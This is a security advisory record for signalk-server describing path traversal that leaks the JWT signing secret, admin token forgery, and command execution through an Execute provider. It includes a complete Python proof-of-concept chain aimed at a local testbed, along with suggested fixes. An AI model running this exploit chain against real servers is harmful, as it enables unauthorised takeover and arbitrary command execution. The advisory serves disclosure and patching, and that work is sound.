{"id":"GHSA-4xm8-rg9h-jhq2","aliases":[],"url":"https://o3.security/vulnerability/GHSA-4xm8-rg9h-jhq2","summary":"Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution","details":"### Summary\n\nPath traversal in the Signal K resources and applicationData APIs lets an\nunauthenticated or low-privileged user read, write and delete files outside\nthe storage root. Reading <config>/security.json discloses the JWT signing\nsecret, enabling admin token forgery and remote code execution. \n\n### Details\n\n## Description\n\nThe v2 REST resources API `GET /signalk/v2/api/resources/:resourceType/:resourceId` passes `resourceId` to `FileStore.getResource()` without validation. `getResource()` builds the file path with `path.join(this.resources[type].path, itemUuid)` followed by `readFile` + `JSON.parse`, so a `%2F`-encoded multi-level traversal (`..%2F..%2F..%2F..%2F`) escapes the resource storage directory and returns any JSON file on the server (source: `src/api/resources/index.ts:559-600`, `packages/resources-provider-plugin/src/filestorage.ts:115-125`).\n\nBecause the JWT signing secret is stored in plaintext in `<config>/security.json` (generated at `src/tokensecurity.ts:271`, persisted via `saveSecurityConfig` at `src/security.ts:377`), an unauthenticated attacker on deployments with `allow_readonly=true` (a supported, UI-toggleable configuration granting anonymous read access) can:\n\n1. **Read `<config>/security.json`** — disclosing the JWT signing secret (512-hex) and user password hashes.\n2. **Forge an admin JWT** — HS256-sign `{\"id\":\"admin\"}` with the disclosed secret; accepted by `/skServer/loginStatus` (`userLevel: \"admin\"`) and all admin-protected endpoints (`adminAuthenticationMiddleware`, `src/tokensecurity.ts:593`, applied at `src/tokensecurity.ts:953`).\n3. **Gain remote code execution** — `POST /skServer/providers` (admin) accepts a provider of type `Execute`; `packages/streams/src/execute.ts:93` executes it via `spawn('sh', ['-c', command])` at creation time. The provider persists to `settings.json` and survives restarts.\n\nOn default deployments (`allow_readonly=false`), step 1 returns 401 to anonymous users but succeeds with any readonly user token.\n\n## Suggested fixes\n\n1. Validate `resourceId` against a strict whitelist (for example, UUID format) in `src/api/resources/index.ts` before any storage call, including PUT/DELETE.\n2. In `FileStore.getResource/setResource/deleteResource`, canonicalise with `path.resolve()` and reject results outside `this.resources[type].path`.\n3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.\n4. Consider gating provider types that execute commands (`Execute`) behind an explicit opt-in.\n\n### Proof of concept\n\nFully local testbed. Start the server, enable `allow_readonly=true`, then run:\n\n```python\n#!/usr/bin/env python3\nimport base64, hashlib, hmac, json, time, urllib.request\nBASE = \"http://127.0.0.1:3000\"\nCMD  = \"id > /tmp/sk-pwned\"\n\n# 1) unauthenticated traversal read of security.json\np = \"/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json\"\nsk = json.load(urllib.request.urlopen(BASE + p))[\"secretKey\"]\n\n# 2) forge admin JWT\nb64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nh = b64(json.dumps({\"alg\":\"HS256\",\"typ\":\"JWT\"}).encode())\nc = b64(json.dumps({\"id\":\"admin\",\"iat\":int(time.time())}).encode())\ntok = h+\".\"+c+\".\"+b64(hmac.new(sk.encode(), (h+\".\"+c).encode(), hashlib.sha256).digest())\nreq = urllib.request.Request(BASE+\"/skServer/loginStatus\", headers={\"Authorization\":\"JWT \"+tok})\nassert json.load(urllib.request.urlopen(req))[\"userLevel\"] == \"admin\"\n\n# 3) add an Execute provider -> spawn('sh','-c',CMD)\nprov = {\"id\":\"poc-rce\",\"enabled\":True,\"logging\":False,\"type\":\"Execute\",\n        \"options\":{\"type\":\"ws\",\"dataType\":\"SignalK\",\"command\":CMD}}\nreq = urllib.request.Request(BASE+\"/skServer/providers\", data=json.dumps(prov).encode(),\n                             headers={\"Authorization\":\"JWT \"+tok,\"Content-Type\":\"application/json\"}, method=\"POST\")\nprint(urllib.request.urlopen(req).read())    # provider created; /tmp/sk-pwned now exists\n```\n\nReproduction verified independently on master `340d5bb6` (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.\n\n### Impact\n\nUnauthenticated access (with `allow_readonly=true`) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix","published":"2026-10-30T22:57:22Z","modified":"2026-10-30T23:15:08.283229603Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"signalk-server","fixedVersion":"2.34.0"},{"ecosystem":"npm","name":"@signalk/resources-provider","fixedVersion":"1.5.3"}],"fix":{"url":"https://github.com/SignalK/signalk-server/commit/83689f040d7e90280dddc643f44f3e4ce348fbb1","label":"SignalK/signalk-server@83689f0"},"references":[{"type":"WEB","url":"https://github.com/SignalK/signalk-server/security/advisories/GHSA-4xm8-rg9h-jhq2"},{"type":"WEB","url":"https://github.com/SignalK/signalk-server/commit/83689f040d7e90280dddc643f44f3e4ce348fbb1"},{"type":"PACKAGE","url":"https://github.com/SignalK/signalk-server"},{"type":"WEB","url":"https://github.com/SignalK/signalk-server/releases/tag/v2.34.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-30T23:15:08.283229603Z"}}